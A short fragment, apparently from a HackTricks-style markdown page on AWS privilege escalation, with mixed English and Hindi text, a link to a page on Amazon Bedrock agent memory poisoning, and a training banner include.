ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** -### संबंधित: Amazon Bedrock सुरक्षा - -{{#ref}} -aws-bedrock-agents-memory-poisoning.md -{{#endref}} - {{#include ../../../banners/hacktricks-training.md}}